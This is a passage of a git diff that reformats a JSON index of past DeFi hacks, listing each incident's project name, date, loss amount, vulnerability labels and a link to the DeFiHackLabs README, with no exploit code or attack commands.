"https://github.com/SunWeb3Sec/DeFiHackLabs#20220322-compoundtusdsweeptokenbypass" - }, - { - "labels": [ - "Yield", - "Flashloans", - "Pricemanipulation" - ], - "date": "2022.03.21", - "title": "OneRing Finance", - "target": "[HACKED] OneRing Finance", - "amount": "$1.45 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220321-onering-finance---flashloan--price-oracle-manipulation" - }, - { - "labels": [ - "CrossChain", - "Bridge", - "Aggregation" - ], - "date": "2022.03.20", - "title": "Li.Fi", - "target": "[HACKED] Li.Fi", - "amount": "$570 K", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220320-lifi---bridges" - }, - { - "labels": [ - "Oracle", - "staking", - "Under/Overflow" - ], - "date": "2022.03.20", - "title": "Umbrella Network", - "target": "[HACKED] Umbrella Network", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220320-umbrella-network---underflow" - }, - { - "labels": [ - "lending", - "ERC667", - "reentrancy" - ], - "date": "2022.03.13", - "title": "Hundred Finance", - "target": "[HACKED] Hundred Finance", - "amount": "$1.7 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220313-hundred-finance---erc667-reentrancy" - }, - { - "labels": [ - "Dex/AMM", - "Flashloans", - "reentrancy", - "Insufficient validation" - ], - "date": "2022.03.13", - "title": "Paraluni", - "target": "[HACKED] Paraluni", - "amount": "$1.7 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220313-paraluni---flashloan--reentrancy" - }, - { - "labels": [ - "Synthetic", - "Miscalculation" - ], - "date": "2022.03.09", - "title": "Fantasm Finance", - "target": "[HACKED] Fantasm Finance", - "amount": "$2.6 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220309-fantasm-finance---business-logic-in-mint" - }, - { - "labels": [ - "ERC777", - "lending", - "reentrancy" - ], - "date": "2022.03.05", - "title": "Bacon Protocol", - "target": "[HACKED] Bacon Protocol", - "amount": "$1 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220305-bacon-protocol---reentrancy" - }, - { - "labels": [ - "DAO", - "Insufficient validation" - ], - "date": "2022.03.03", - "title": "TreasureDAO", - "target": "[HACKED] TreasureDAO", - "amount": "$470 k", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220303-treasuredao---zero-fee" - }, - { - "labels": [ - "DAO", - "MaliciosProposal" - ], - "date": "2022.02.14", - "title": "BuildFinance", - "target": "[HACKED] BuildFinance", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220214-buildfinance---dao" - }, - { - "labels": [ - "Metaverse", - "Access Control" - ], - "date": "2022.02.08", - "title": "Sandbox LAND", - "target": "[HACKED] Sandbox LAND", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220208-sandbox-land---access-control" - }, - { - "labels": [ - "CrossChain", - "Bridge", - "Insufficient validation" - ], - "date": "2022.02.06", - "title": "Meter", - "target": "[HACKED] Meter", - "amount": "$4.3 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220206-meter---bridge" - }, - { - "labels": [ - "CrossChain", - "Bridge", - "lending", - "Insufficient validation" - ], - "date": "2022.01.28", - "title": "Qubit Finance", - "target": "[HACKED] Qubit Finance", - "amount": "$80 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220128-qubit-finance---bridge-address0safetransferfrom-does-not-revert" - }, - { - "labels": [ - "CrossChain", - "Bridge", - "Insufficient validation" - ], - "date": "2022.01.18", - "title": "Multichain (Anyswap)", - "target": "[HACKED] Multichain (Anyswap)", - "amount": "$1.4 million", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220118-multichain-anyswap---insufficient-token-validation" - }, - { - "labels": [ - "Dex/AMM", - "reentrancy", - "Insufficient validation" - ], - "date": "2021.12.21", - "title": "Visor Finance", - "target": "[HACKED] Visor Finance", - "amount": "$8.2 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20211221-visor-finance---reentrancy" - }, - { - "labels": [ - "Yield", - "reentrancy", - "Insufficient validation" - ], - "date": "2021.12.18", - "title": "Grim Finance", - "target": "[HACKED] Grim Finance", - "amount": "$30 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20211218-grim-finance---flashloan--reentrancy" - }, - { - "labels": [ - "Dex/AMM", - "Pricemanipulation" - ], - "date": "2021.11.30", - "title": "MonoX Finance", - "target": "[HACKED] MonoX Finance", - "amount": "$31 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20211130-monox-finance---price-manipulation" - }, - { - "labels": [ - "Dex/AMM", - "Insufficient validation" - ], - "date": "2021.09.16", - "title": "SushiSwap", - "target": "[HACKED] SushiSwap", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210916-sushiswap-miso" - }, - { - "labels": [ - "Dex/AMM", - "Miscalculation" - ], - "date": "2021.09.15", - "title": "NowSwap", - "target": "[HACKED] NowSwap", - "amount": "$1 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210915-nowswap-platform" - }, - { - "labels": [ - "Yield", - "Miscalculation" - ], - "date": "2021.09.15", - "title": "Nimbus Platform", - "target": "[HACKED] Nimbus Platform", - "amount": "1.45 ETH", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210915-nimbus-platform" - }, - { - "labels": [ - "Yield", - "Deflationary token", - "Insufficient validation" - ], - "date": "2021.09.12", - "title": "ZABU Finance", - "target": "[HACKED] ZABU Finance", - "amount": "$3.2 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210912-zabu-finance---deflationary-token-uncompatible" - }, - { - "labels": [ - "DAO", - "Access Control" - ], - "date": "2021.09.03", - "title": "DAO Maker", - "target": "[HACKED] DAO Maker", - "amount": "$4 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210903-dao-maker---bad-access-controal" - }, - { - "labels": [ - "lending", - "ERC777", - "reentrancy" - ], - "date": "2021.08.30", - "title": "Cream Finance", - "target": "[HACKED] Cream Finance", - "amount": "$18 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210830-cream-finance---flashloan-attack--reentrancy" - }, - { - "labels": [ - "Stablecoin", - "Flashloans", - "reentrancy" - ], - "date": "2021.08.17", - "title": "XSURGE", - "target": "[HACKED] XSURGE", - "amount": "$5 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210817-xsurge---flashloan-attack--reentrancy" - }, - { - "labels": [ - "CrossChain", - "Bridge", - "Insufficient validation" - ], - "date": "2021.08.11", - "title": "Poly Network", - "target": "[HACKED] Poly Network", - "amount": "$611 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210811-poly-network---bridge-getting-around-modifier-through-cross-chain-message" - }, - { - "labels": [ - "Dex/AMM", - "Flashloans", - "Pricemanipulation" - ], - "date": "2021.08.04", - "title": "WaultFinace", - "target": "[HACKED] WaultFinace", - "amount": "390 ETH", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210804-waultfinace---flashloan-price-manipulation" - }, - { - "labels": [ - "CrossChain", - "Bridge", - "Incorrect logic" - ], - "date": "2021.07.10", - "title": "Chainswap", - "target": "[HACKED] Chainswap", - "amount": "$8 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210710-chainswap---bridge-logic-flaw" - }, - { - "labels": [ - "CrossChain", - "Bridge", - "Incorrect logic" - ], - "date": "2021.07.02", - "title": "Chainswap", - "target": "[HACKED] Chainswap", - "amount": "$0.8 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210702-chainswap---bridge-logic-flaw" - }, - { - "labels": [ - "Stablecoin", - "Deflationary token", - "Miscalculation" - ], - "date": "2021.06.28", - "title": "SafeDollar", - "target": "[HACKED] SafeDollar", - "amount": "$0.2 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210628-safedollar---deflationary-token-uncompatible" - }, - { - "labels": [ - "Yield", - "Incorrect logic" - ], - "date": "2021.06.22", - "title": "Eleven Finance", - "target": "[HACKED] Eleven Finance", - "amount": "$4.5 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210622-eleven-finance---doesnt-burn-shares" - }, - { - "labels": [ - "Dex/AMM", - "Access Control" - ], - "date": "2020.06.18", - "title": "Bancor Protocol", - "target": "[HACKED] Bancor Protocol", - "amount": "$545,000", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20200618-bancor-protocol---access-control" - }, - { - "labels": [ - "ERC721", - "Access Control" - ], - "date": "2021.06.07", - "title": "88mph", - "target": "[HACKED] 88mph", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210607-88mph-nft---access-control" - }, - { - "labels": [ - "Yield", - "Miscalculation" - ], - "date": "2021.06.03", - "title": "PancakeHunny", - "target": "[HACKED] PancakeHunny", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210603-pancakehunny---incorrect-calculation" - }, - { - "labels": [ - "Yield", - "Flashloans", - "Miscalculation" - ], - "date": "2021.05.19", - "title": "PancakeBunny", - "target": "[HACKED] PancakeBunny", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210519-pancakebunny---price-oracle-manipulation" - }, - { - "labels": [ - "Dex/AMM", - "ERC20", - "Miscalculation" - ], - "date": "2021.04.28", - "title": "Uranium", - "target": "[HACKED] Uranium", - "amount": "$50 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210428-uranium---miscalculation" - }, - { - "labels": [ - "Dex/AMM", - "Access Control" - ], - "date": "2021.03.08", - "title": "DODO", - "target": "[HACKED] DODO", - "amount": "$700,000", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20210308-dodo---flashloan-attack" - }, - { - "labels": [ - "Miscalculation" - ], - "date": "2020.12.29", - "title": "Cover Protocol", - "target": "[HACKED] Cover Protocol", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20201229-cover-protocol" - }, - { - "labels": [ - "Yield", - "Insufficient validation" - ], - "date": "2020.11.21", - "title": "Pickle Finance", - "target": "[HACKED] Pickle Finance", - "amount": "$20 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20201121-pickle-finance" - }, - { - "labels": [ - "Yield", - "Flashloans", - "Pricemanipulation", - "Economic" - ], - "date": "2020.10.26", - "title": "Harvest Finance", - "target": "[HACKED] Harvest Finance", - "amount": "$33.8 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20201026-harvest-finance---flashloan-attack" - }, - { - "labels": [ - "ERC20", - "Under/Overflow" - ], - "date": "2018.04.22", - "title": "Beauty Chain", - "target": "[HACKED] Beauty Chain", - "amount": "$900 M", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20180422-beauty-chain---integer-overflow" - }, - { - "labels": [ - "wallet", - "Access Control" - ], - "date": "2017.11.06", - "title": "Parity", - "target": "[HACKED] Parity", - "amount": "514k ETH", - "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20171106-parity---accidentally-killed-it" - } -] \ No newline at end of file +[{"labels": ["DAO", "Insufficient validation"], "date": "2022.10.21", "title": "OlympusDAO", "target": "[HACKED] OlympusDAO", "amount": "$292 K", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/README.md#20221021-bond-protocol---no-input-validation", "body": "OlympusDAO"}, {"labels": ["ERC20", "Miscalculation", "Pricemanipulation"], "date": "2022.10.20", "title": "HEALTH", "target": "[HACKED] HEALTH", "amount": "16 BNB", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221020-health---transfer-logic-flaw", "body": "HEALTH"}, {"labels": ["Metaverse", "Insufficient validation"], "date": "2022.10.20", "title": "BEGO", "target": "[HACKED] BEGO", "amount": "12BNB", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221020-bego---incorrect-signature-verification", "body": "BEGO"}, {"labels": ["ERC20", "Access Control"], "date": "2022.10.18", "title": "HPAY", "target": "[HACKED] HPAY", "amount": "115 BNB", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221018-hpay---access-control", "body": "HPAY"}, {"labels": ["ERC20", "Access Control"], "date": "2022.10.17", "title": "Uerii", "target": "[HACKED] Uerii", "amount": "$2.4 K", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221017-uerii-token---access-control", "body": "Uerii"}, {"labels": ["Yield", "Flashloans", "Insufficient validation"], "date": "2022.10.14", "title": "EFLeverVault", "target": "[HACKED] EFLeverVault", "amount": "750 ETH", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221014-eflevervault---verify-flashloan-callback", "body": "EFLeverVault"}, {"labels": ["MEV", "Flashloans", "Insufficient validation"], "date": "2022.10.14", "title": "MEVBOTa47b", "target": "[HACKED] MEVBOTa47b", "amount": "$241 k", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221014-mevbota47b---mevbot-a47b", "body": "MEVBOTa47b"}, {"labels": ["ERC20", "Pricemanipulation"], "date": "2022.10.12", "title": "ATK", "target": "[HACKED] ATK", "amount": "$127 k", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221012-atk---flashloan-manipulate-price", "body": "ATK"}, {"labels": ["swap", "Arbitrary call"], "date": "2022.10.11", "title": "Rabby wallet", "target": "[HACKED] Rabby wallet", "amount": "$200,000", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221011-rabby-wallet-swaprouter---arbitrary-external-call-vulnerability", "body": "Rabby wallet"}, {"labels": ["Yield", "Access Control"], "date": "2022.10.11", "title": "Templedao", "target": "[HACKED] Templedao", "amount": "$2.3 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221011-templedao---insufficient-access-control", "body": "Templedao"}, {"labels": ["Dex/AMM", "Economic"], "date": "2022.10.11", "title": "Mango", "target": "[HACKED] Mango", "amount": "$47 M", "body": "Mango"}, {"labels": ["Yield", "Arbitrary call"], "date": "2022.10.10", "title": "Carrot", "target": "[HACKED] Carrot", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221010-carrot---public-functioncall", "body": "Carrot"}, {"labels": ["Governance", "MaliciosProposal"], "date": "2022.10.09", "title": "Xave Finance", "target": "[HACKED] Xave Finance", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221009-xave-finance---malicious-proposal-mint--transfer-ownership", "body": "Xave Finance"}, {"labels": ["ERC20", "Flashloans", "Pricemanipulation"], "date": "2022.10.06", "title": "RES token", "target": "[HACKED] RES token", "amount": "$290K", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221006-RES-Token---pair-manipulate", "body": "RES token"}, {"labels": ["Dex/AMM", "Insufficient validation"], "date": "2022.10.02", "title": "Transit Swap", "target": "[HACKED] Transit Swap", "amount": "$21 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221002-transit-swap---incorrect-owner-address-validation", "body": "Transit Swap"}, {"labels": ["Dex/AMM", "Insufficient validation"], "date": "2022.10.01", "title": "BabySwap", "target": "[HACKED] BabySwap", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221001-babyswap---parameter-access-control", "body": "BabySwap"}, {"labels": ["ERC20", "Flashloans", "Pricemanipulation"], "date": "2022.10.01", "title": "RL Token", "target": "[HACKED] RL Token", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221001-RL-Token---Incorrect-Reward-calculation", "body": "RL Token"}, {"labels": ["ERC721", "reentrancy"], "date": "2022.10.01", "title": "Thunder Brawl", "target": "[HACKED] Thunder Brawl", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20221001-thunder-brawl---reentrancy", "body": "Thunder Brawl"}, {"labels": ["lending", "Dex/AMM", "Flashloans", "Pricemanipulation"], "date": "2022.09.28", "title": "BXH", "target": "[HACKED] BXH", "amount": "$40,305", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220928-bxh---flashloan--price-oracle-manipulation", "body": "BXH"}, {"labels": ["ERC20", "Miscalculation"], "date": "2022.09.10", "title": "DPC", "target": "[HACKED] DPC", "amount": "$1.4 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220910-dpc---Incorrect-Reward-calculation", "body": "DPC"}, {"labels": ["MEV", "Arbitrary call"], "date": "2022.09.28", "title": "MEVBOT - Badc0de", "target": "[HACKED] MEVBOT - Badc0de", "amount": "$94,304", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220928-MEVBOT---Badc0de", "body": "MEVBOT - Badc0de"}, {"labels": ["ERC20", "Flashloans", "Pricemanipulation"], "date": "2022.09.23", "title": "RADT-DAO", "target": "[HACKED] RADT-DAO", "amount": "$94,304", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220923-RADT-DAO---pair-manipulate", "body": "RADT-DAO"}, {"labels": ["MEV", "Access Control"], "date": "2022.09.13", "title": "MevBot private tx", "target": "[HACKED] MevBot private tx", "amount": "$140 K", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220913-mevbot-private-tx", "body": "MevBot private tx"}, {"labels": ["ERC20", "Flashloans", "Pricemanipulation", "reward"], "date": "2022.09.09", "title": "YYDS", "target": "[HACKED] YYDS", "amount": "$742,286", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220909-YYDS---pair-manipulate", "body": "YYDS"}, {"labels": ["Deflationary token", "Flashloans", "Pricemanipulation"], "date": "2022.09.28", "title": "Ragnarok Online Invasion", "target": "[HACKED] Ragnarok Online Invasion", "amount": "$44,000", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220908-ragnarok-online-invasion---broken-access-control", "body": "Ragnarok Online Invasion"}, {"labels": ["ERC20", "Flashloans", "Pricemanipulation", "reward"], "date": "2022.09.08", "title": "NewFreeDAO", "target": "[HACKED] NewFreeDAO", "amount": "$125M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220908-newfreedao---flashloans-attack", "body": "NewFreeDAO"}, {"labels": ["ERC20", "Flashloans", "Pricemanipulation"], "date": "2022.09.06", "title": "NXUSD", "target": "[HACKED] NXUSD", "amount": "$50,000", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220906-NXUSD---flashloan-price-oracle-manipulation", "body": "NXUSD"}, {"labels": ["Flashloans", "Pricemanipulation", "Insufficient validation"], "date": "2022.09.05", "title": "ZoomproFinance", "target": "[HACKED] ZoomproFinance", "amount": "$61,160 USDT", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220905-zoomprofinance---flashloans--price-manipulation", "body": "ZoomproFinance"}, {"labels": ["payment", "Access Control"], "date": "2022.09.02", "title": "ShadowFi", "target": "[HACKED] ShadowFi", "amount": "1,078 BNB", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220902-shadowfi---access-control", "body": "ShadowFi"}, {"labels": ["NFT", "Insufficient validation"], "date": "2022.09.02", "title": "Bad Guys by RPF", "target": "[HACKED] Bad Guys by RPF", "amount": "400 NFTs", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220902-bad-guys-by-rpf---business-logic-flaw--missing-check-for-number-of-nft-to-mint", "body": "Bad Guys by RPF"}, {"labels": ["NFT", "Bad randomness"], "date": "2022.08.24", "title": "LuckeyTiger", "target": "[HACKED] LuckeyTiger", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220824-luckeytiger-nft---predicting-random-numbers", "body": "LuckeyTiger"}, {"labels": ["Stablecoin", "Flashloans", "Pricemanipulation", "reward"], "date": "2022.08.10", "title": "XSTABLE Protocol", "target": "[HACKED] XSTABLE Protocol", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220810-xstable-protocol---incorrect-logic-check", "body": "XSTABLE Protocol"}, {"labels": ["ERC20", "Flashloans", "reward", "Insufficient validation"], "date": "2022.08.09", "title": "ANCH", "target": "[HACKED] ANCH", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220809-anch---skim-token-balance", "body": "ANCH"}, {"labels": ["Dex/AMM", "Flashloans", "Pricemanipulation"], "date": "2022.08.07", "title": "EGD Finance", "target": "[HACKED] EGD Finance", "amount": "$36,044", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220807-egd-finance---flashloans--price-manipulation", "body": "EGD Finance"}, {"labels": ["Bridge", "Insufficient validation", "uninitialized"], "date": "2022.08.02", "title": "Nomad Bridge", "target": "[HACKED] Nomad Bridge", "amount": "$152M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220802-nomad-bridge---business-logic-flaw--incorrect-acceptable-merkle-root-checks", "body": "Nomad Bridge"}, {"labels": ["ERC4626", "Access Control"], "date": "2022.08.01", "title": "Reaper Farm", "target": "[HACKED] Reaper Farm", "amount": "$1.7M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220801-reaper-farm---business-logic-flaw--lack-of-access-control-mechanism", "body": "Reaper Farm"}, {"labels": ["ERC20", "Flashloans", "Insufficient validation"], "date": "2022.07.25", "title": "LPC", "target": "[HACKED] LPC", "amount": "$45K", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220725-lpc---business-logic-flaw--incorrect-recipient-balance-check-did-not-check-senderrecipient-in-transfer", "body": "LPC"}, {"labels": ["ERC20", "uninitialized", "Governance", "\uff33torage collision"], "date": "2022.07.23", "title": "Audius", "target": "[HACKED] Audius", "amount": "$6M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220723-audius---storage-collision--malicious-proposal", "body": "Audius"}, {"labels": ["ERC20", "Flashloans", "Pricemanipulation", "Access Control"], "date": "2022.07.13", "title": "SpaceGodzilla", "target": "[HACKED] SpaceGodzilla", "amount": "$26,000", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220713-spacegodzilla---flashloans--price-manipulation", "body": "SpaceGodzilla"}, {"labels": ["ERC721", "Flashloans", "reentrancy"], "date": "2022.07.10", "title": "Omni NFT", "target": "[HACKED] Omni NFT", "amount": "$1.4M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220710-omni-nft---reentrancy", "body": "Omni NFT"}, {"labels": ["NFTMarketplace", "Insufficient validation", "Signature"], "date": "2022.07.01", "title": "Quixotic", "target": "[HACKED] Quixotic", "amount": "$100K", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220701-quixotic---optimism-nft-marketplace", "body": "Quixotic"}, {"labels": ["ERC721", "Insufficient validation"], "date": "2022.06.26", "title": "XCarnival", "target": "[HACKED] XCarnival", "amount": "$3.87M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220626-xcarnival---infinite-number-of-loans", "body": "XCarnival"}, {"labels": ["Bridge", "KeyCompromised"], "date": "2022.06.27", "title": "Harmony's Horizon", "target": "[HACKED] Harmony's Horizon", "amount": "$100M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220624-harmonys-horizon-bridge---private-key-compromised", "body": "Harmony's Horizon"}, {"labels": ["ERC777", "Insufficient validation"], "date": "2022.06.18", "title": "SNOOD", "target": "[HACKED] SNOOD", "amount": "104 ETH", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220618-snood---miscalculation-on-_spendallowance", "body": "SNOOD"}, {"labels": ["lending", "Flashloans", "Pricemanipulation"], "date": "2022.06.16", "title": "InverseFinance", "target": "[HACKED] InverseFinance", "amount": "$1.26M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220616-inversefinance---flashloan--price-oracle-manipulation", "body": "InverseFinance"}, {"labels": ["ERC20", "Access Control"], "date": "2022.06.08", "title": "GYMNetwork", "target": "[HACKED] GYMNetwork", "amount": "$2M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220608-gymnetwork---access-control", "body": "GYMNetwork"}, {"labels": ["Bridge", "Signature"], "date": "2022.06.08", "title": "Wintermute", "target": "[HACKED] Wintermute", "amount": "$3M OP", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220608-optimism---wintermute---signature-replay", "body": "Wintermute"}, {"labels": ["ERC20", "Flashloans", "Pricemanipulation"], "date": "2022.06.06", "title": "Discover", "target": "[HACKED] Discover", "amount": "$49 BNB", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220606-discover---flashloan--price-oracle-manipulation", "body": "Discover"}, {"labels": ["Deflationary token", "Flashloans", "Pricemanipulation"], "date": "2022.05.29", "title": "NOVO Protocol", "target": "[HACKED] NOVO Protocol", "amount": "279 BNB", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220529-novo-protocol---flashloan--price-oracle-manipulation", "body": "NOVO Protocol"}, {"labels": ["DAO", "Flashloans", "Pricemanipulation", "skim"], "date": "2022.05.24", "title": "HackDao", "target": "[HACKED] HackDao", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220524-hackdao---skim-token-balance", "body": "HackDao"}, {"labels": ["ERC20", "Flashloans", "claimTokens"], "date": "2022.05.17", "title": "ApeCoin", "target": "[HACKED] ApeCoin", "amount": "$1.1 million", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220517-apecoin-ape---flashloan", "body": "ApeCoin"}, {"labels": ["lending", "MaliciosProposal", "Pricemanipulation"], "date": "2022.05.08", "title": "Fortress Loans", "target": "[HACKED] Fortress Loans", "amount": "$3 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220508-fortress-loans---malicious-proposal--price-oracle-manipulation", "body": "Fortress Loans"}, {"labels": ["lending", "Payable", "Flashloans", "reentrancy"], "date": "2022.04.30", "title": "Rari Capital", "target": "[HACKED] Rari Capital", "amount": "$80 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220430-rari-capitalfei-protocol---flashloan-attack--reentrancy", "body": "Rari Capital"}, {"labels": ["DAO", "Flashloans", "Pricemanipulation"], "date": "2022.04.28", "title": "DEUS DAO", "target": "[HACKED] DEUS DAO", "amount": "$13 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220428-deus-dao---flashloan--price-oracle-manipulation", "body": "DEUS DAO"}, {"labels": ["Deflationary token", "Flashloans"], "date": "2022.04.24", "title": "Wiener DOGE", "target": "[HACKED] Wiener DOGE", "amount": "78 BNB", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220424-wiener-doge---flashloan", "body": "Wiener DOGE"}, {"labels": ["ERC721", "DoS"], "date": "2022.04.23", "title": "Akutar NFT", "target": "[HACKED] Akutar NFT", "amount": "$34 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220423-akutar-nft---denial-of-service", "body": "Akutar NFT"}, {"labels": ["lending", "Dex/AMM", "Flashloans", "reward"], "date": "2022.04.21", "title": "Zeed Finance", "target": "[HACKED] Zeed Finance", "amount": "$1 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220421-zeed-finance---reward-distribution-flaw", "body": "Zeed Finance"}, {"labels": ["Stablecoin", "DAO", "Flashloans", "MaliciosProposal"], "date": "2022.04.16", "title": "BeanstalkFarms", "target": "[HACKED] BeanstalkFarms", "amount": "$182 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220416-beanstalkfarms---dao--flashloan", "body": "BeanstalkFarms"}, {"labels": ["lending", "Access Control", "Pricemanipulation"], "date": "2022.04.15", "title": "Rikkei Finance", "target": "[HACKED] Rikkei Finance", "amount": "$1.1 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220415-rikkei-finance---access-control--price-oracle-manipulation", "body": "Rikkei Finance"}, {"labels": ["Yield", "Arbitrary call"], "date": "2022.03.26", "title": "Auctus", "target": "[HACKED] Auctus", "amount": "$726 K", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220326-auctus", "body": "Auctus"}, {"labels": ["lending", "Insufficient validation"], "date": "2022.03.22", "title": "Compound", "target": "[HACKED] Compound", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220322-compoundtusdsweeptokenbypass", "body": "Compound"}, {"labels": ["Yield", "Flashloans", "Pricemanipulation"], "date": "2022.03.21", "title": "OneRing Finance", "target": "[HACKED] OneRing Finance", "amount": "$1.45 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220321-onering-finance---flashloan--price-oracle-manipulation", "body": "OneRing Finance"}, {"labels": ["CrossChain", "Bridge", "Aggregation"], "date": "2022.03.20", "title": "Li.Fi", "target": "[HACKED] Li.Fi", "amount": "$570 K", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220320-lifi---bridges", "body": "Li.Fi"}, {"labels": ["Oracle", "staking", "Under/Overflow"], "date": "2022.03.20", "title": "Umbrella Network", "target": "[HACKED] Umbrella Network", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220320-umbrella-network---underflow", "body": "Umbrella Network"}, {"labels": ["lending", "ERC667", "reentrancy"], "date": "2022.03.13", "title": "Hundred Finance", "target": "[HACKED] Hundred Finance", "amount": "$1.7 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220313-hundred-finance---erc667-reentrancy", "body": "Hundred Finance"}, {"labels": ["Dex/AMM", "Flashloans", "reentrancy", "Insufficient validation"], "date": "2022.03.13", "title": "Paraluni", "target": "[HACKED] Paraluni", "amount": "$1.7 M", "html_url": "https://github.com/SunWeb3Sec/DeFiHackLabs#20220313-paraluni---flashloan--reentrancy", "body": "Paraluni"}, {"labels": ["Synthetic", "Miscalculation"], "date": "2022.03.09", "title": "Fantasm Finance", "target": "[HACKED] Fantasm Finance", "amount": 